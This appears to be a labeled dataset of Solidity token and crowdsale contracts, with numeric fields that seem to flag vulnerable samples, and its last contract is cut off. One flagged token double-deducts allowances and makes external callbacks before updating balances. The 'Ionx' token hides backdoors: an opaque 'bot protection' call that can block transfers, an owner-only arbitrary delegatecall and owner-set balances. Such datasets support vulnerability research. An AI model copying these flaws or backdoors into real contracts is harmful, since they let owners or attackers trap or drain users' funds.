currentParticipantAddress = contributorIndexes[nextContributorToClaim];
if (currentParticipantAddress == 0x0) return;
if (!hasClaimedEthWhenFail[currentParticipantAddress]) {
contribution = contributorList[currentParticipantAddress].contributionAmount;
hasClaimedEthWhenFail[currentParticipantAddress] = true;
if (!currentParticipantAddress.send(contribution)){
ErrorSendingETH(currentParticipantAddress, contribution);
}
}
nextContributorToClaim += 1;
}
}
function withdrawRemainingBalanceForManualRecovery() public onlyOwner{
require(this.balance != 0);
require(block.timestamp > crowdsaleEndedTime);
require(contributorIndexes[nextContributorToClaim] == 0x0);
multisigAddress.transfer(this.balance);
}
function setMultisigAddress(address _newAddress) public onlyOwner{
multisigAddress = _newAddress;
}
function setToken(address _newAddress) public onlyOwner{
token = IToken(_newAddress);
}
function claimCoreTeamsTokens(address _to) public onlyOwner{
require(crowdsaleState == state.crowdsaleEnded);
require(!ownerHasClaimedTokens);
uint devReward = maxTokenSupply - token.totalSupply();
if (!presaleBonusTokensClaimed) devReward -= presaleBonusTokens;
token.mintTokens(_to, devReward);
ownerHasClaimedTokens = true;
}
function claimPresaleTokens() public {
require(msg.sender == presaleBonusAddress);
require(crowdsaleState == state.crowdsaleEnded);
require(!presaleBonusTokensClaimed);
token.mintTokens(presaleBonusAddressColdStorage, presaleBonusTokens);
presaleBonusTokensClaimed = true;
}
function getTokenAddress() public constant returns(address){
return address(token);
}
}
contract FutouristCrowdsale is Crowdsale {
function FutouristCrowdsale() public {
presaleStartTime = 1519142400;
presaleUnlimitedStartTime = 1519315200;
crowdsaleStartTime = 1519747200;
crowdsaleEndedTime = 1521561600;
minCap = 1 ether;
maxCap = 4979 ether;
maxP1Cap = 4979 ether;
ethToTokenConversion = 47000;
maxTokenSupply = 1000000000 * 10**18;
presaleBonusTokens = 115996000 * 10**18;
presaleBonusAddress = 0xd7C4af0e30EC62a01036e45b6ed37BC6D0a3bd53;
presaleBonusAddressColdStorage = 0x47D634Ce50170a156ec4300d35BE3b48E17CAaf6;
}
} | 0 | 277 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "Perper";
string public constant TOKEN_SYMBOL = "PER";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x66b88f3616101c8E03298FB856464d3f7F561A3A;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[1] memory addresses = [address(0x66b88f3616101c8e03298fb856464d3f7f561a3a)];
uint[1] memory amounts = [uint(100000000000000000000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 0 | 988 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
interface ERC20 {
function name() public view returns (string);
function symbol() public view returns (string);
function decimals() public view returns (uint8);
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
interface ERC223 {
function transfer(address to, uint value, bytes data) payable public;
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
}
contract ERC223ReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERCAddressFrozenFund is ERC20{
using SafeMath for uint;
struct LockedWallet {
address owner;
uint256 amount;
uint256 start;
uint256 duration;
uint256 release;
}
address public owner;
uint256 _lockedSupply;
mapping (address => LockedWallet) addressFrozenFund;
function mintToken(address _owner, uint256 amount) internal;
function burnToken(address _owner, uint256 amount) internal;
event LockBalance(address indexed addressOwner, uint256 releasetime, uint256 amount);
event LockSubBalance(address indexed addressOwner, uint256 index, uint256 releasetime, uint256 amount);
event UnlockBalance(address indexed addressOwner, uint256 releasetime, uint256 amount);
event UnlockSubBalance(address indexed addressOwner, uint256 index, uint256 releasetime, uint256 amount);
function lockedSupply() public view returns (uint256) {
return _lockedSupply;
}
function releaseTimeOf(address _owner) public view returns (uint256 releaseTime) {
return addressFrozenFund[_owner].release;
}
function lockedBalanceOf(address _owner) public view returns (uint256 lockedBalance) {
return addressFrozenFund[_owner].amount;
}
function lockBalance(uint256 duration, uint256 amount) public{
address _owner = msg.sender;
require(address(0) != _owner && amount > 0 && duration > 0 && balanceOf(_owner) >= amount);
require(addressFrozenFund[_owner].release <= now && addressFrozenFund[_owner].amount == 0);
addressFrozenFund[_owner].start = now;
addressFrozenFund[_owner].duration = duration;
addressFrozenFund[_owner].release = addressFrozenFund[_owner].start + duration;
addressFrozenFund[_owner].amount = amount;
burnToken(_owner, amount);
_lockedSupply = SafeMath.add(_lockedSupply, lockedBalanceOf(_owner));
LockBalance(_owner, addressFrozenFund[_owner].release, amount);
}
function releaseLockedBalance() public {
address _owner = msg.sender;
require(address(0) != _owner && lockedBalanceOf(_owner) > 0 && releaseTimeOf(_owner) <= now);
mintToken(_owner, lockedBalanceOf(_owner));
_lockedSupply = SafeMath.sub(_lockedSupply, lockedBalanceOf(_owner));
UnlockBalance(_owner, addressFrozenFund[_owner].release, lockedBalanceOf(_owner));
delete addressFrozenFund[_owner];
}
}
contract CPSTestToken1 is ERC223, ERCAddressFrozenFund {
using SafeMath for uint;
string internal _name;
string internal _symbol;
uint8 internal _decimals;
uint256 internal _totalSupply;
address public fundsWallet;
uint256 internal fundsWalletChanged;
mapping (address => uint256) internal balances;
mapping (address => mapping (address => uint256)) internal allowed;
function CPSTestToken1() public {
_symbol = 'CPS';
_name = 'CPSCoin';
_decimals = 8;
_totalSupply = 100000000000000000;
balances[msg.sender] = _totalSupply;
fundsWallet = msg.sender;
owner = msg.sender;
fundsWalletChanged = 0;
}
function changeFundsWallet(address newOwner) public{
require(msg.sender == fundsWallet && fundsWalletChanged == 0);
balances[newOwner] = balances[fundsWallet];
balances[fundsWallet] = 0;
fundsWallet = newOwner;
fundsWalletChanged = 1;
}
function name() public view returns (string) {
return _name;
}
function symbol() public view returns (string) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function mintToken(address _owner, uint256 amount) internal {
balances[_owner] = SafeMath.add(balances[_owner], amount);
}
function burnToken(address _owner, uint256 amount) internal {
balances[_owner] = SafeMath.sub(balances[_owner], amount);
}
function() payable public {
require(msg.sender == address(0));
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
if(isContract(_to)) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
bytes memory _data = new bytes(1);
receiver.tokenFallback(msg.sender, _value, _data);
}
balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
if(_from == fundsWallet){
require(_value <= balances[_from]);
}
if(isContract(_to)) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
bytes memory _data = new bytes(1);
receiver.tokenFallback(msg.sender, _value, _data);
}
balances[_from] = SafeMath.sub(balances[_from], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value);
allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = SafeMath.add(allowed[msg.sender][_spender], _addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = SafeMath.sub(oldValue, _subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function transfer(address _to, uint _value, bytes _data) public payable {
require(_value > 0 );
if(isContract(_to)) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value, _data);
}
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
length := extcodesize(_addr)
}
return (length>0);
}
function transferMultiple(address[] _tos, uint256[] _values, uint count) payable public returns (bool) {
uint256 total = 0;
uint256 total_prev = 0;
uint i = 0;
for(i=0;i<count;i++){
require(_tos[i] != address(0) && !isContract(_tos[i]));
if(isContract(_tos[i])) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_tos[i]);
bytes memory _data = new bytes(1);
receiver.tokenFallback(msg.sender, _values[i], _data);
}
total_prev = total;
total = SafeMath.add(total, _values[i]);
require(total >= total_prev);
}
require(total <= balances[msg.sender]);
for(i=0;i<count;i++){
balances[msg.sender] = SafeMath.sub(balances[msg.sender], _values[i]);
balances[_tos[i]] = SafeMath.add(balances[_tos[i]], _values[i]);
Transfer(msg.sender, _tos[i], _values[i]);
}
return true;
}
} | 1 | 2,084 |
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() internal {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract LescovexERC20 is Ownable {
using SafeMath for uint256;
mapping (address => uint256) holded;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 public constant blockEndICO = 1524182460;
string public constant standard = "ERC20 Lescovex";
uint8 public constant decimals = 8;
uint256 public totalSupply;
string public name;
string public symbol;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function holdedOf(address _owner) public view returns (uint256 balance) {
return holded[_owner];
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(block.timestamp > blockEndICO || msg.sender == owner);
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
holded[_to] = block.number;
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
holded[_to] = block.number;
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public onlyOwner returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public onlyOwner returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public onlyOwner returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public onlyOwner returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
}
interface tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public ;
}
contract Lescovex is LescovexERC20 {
uint256 constant initialSupply = 0;
string constant tokenName = "Lescovex Shareholder's";
string constant tokenSymbol = "LCX";
address public LescovexAddr = 0xD26286eb9E6E623dba88Ed504b628F648ADF7a0E;
uint256 public constant minPrice = 7500000000000000;
uint256 public buyPrice = minPrice;
uint256 public tokenReward = 0;
uint256 public tokenUnit = uint256(10)**decimals;
event LogDeposit(address sender, uint amount);
event LogWithdrawal(address receiver, uint amount);
function Lescovex() public {
totalSupply = initialSupply;
name = tokenName;
symbol = tokenSymbol;
}
function () public payable {
buy();
}
modifier status() {
_;
if (block.timestamp < 1519862460){
if (totalSupply < 50000000000000){
buyPrice = 7500000000000000;
} else {
buyPrice = 8000000000000000;
}
} else if (block.timestamp < 1520640060){
buyPrice = 8000000000000000;
} else if (block.timestamp<1521504060){
buyPrice = 8500000000000000;
} else if (block.timestamp < 1522368060){
buyPrice = 9000000000000000;
} else if (block.timestamp < 1523232060){
buyPrice = 9500000000000000;
} else {
buyPrice = 10000000000000000;
}
}
function deposit() public payable onlyOwner returns(bool success) {
assert (this.balance + msg.value >= this.balance);
tokenReward = this.balance / totalSupply;
LogDeposit(msg.sender, msg.value);
return true;
}
function withdrawReward() public status {
require (block.number - holded[msg.sender] > 172800);
holded[msg.sender] = block.number;
uint256 ethAmount = tokenReward * balances[msg.sender];
msg.sender.transfer(ethAmount);
LogWithdrawal(msg.sender, ethAmount);
}
function withdraw(uint value) public onlyOwner {
msg.sender.transfer(value);
LogWithdrawal(msg.sender, value);
}
function buy() public payable status {
require (totalSupply <= 1000000000000000);
require(block.timestamp < blockEndICO);
uint256 tokenAmount = (msg.value / buyPrice)*tokenUnit ;
transferBuy(msg.sender, tokenAmount);
LescovexAddr.transfer(msg.value);
}
function transferBuy(address _to, uint256 _value) internal returns (bool) {
require(_to != address(0));
totalSupply = totalSupply.add(_value*2);
holded[_to] = block.number;
balances[LescovexAddr] = balances[LescovexAddr].add(_value);
balances[_to] = balances[_to].add(_value);
Transfer(this, _to, _value);
return true;
}
function burn(address addr) public onlyOwner{
totalSupply=totalSupply.sub(balances[addr]);
balances[addr]=0;
}
} | 0 | 1,245 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal protectionFromBots;
address public uniPair;
constructor(address _botProtection) {
protectionFromBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = protectionFromBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract Ionx is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 100000000000000000000000000;
string public name = "Charged";
string public symbol = "IONX";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wBNB = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairForPancake(wBNB, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairForPancake(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _reallyGoHere, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
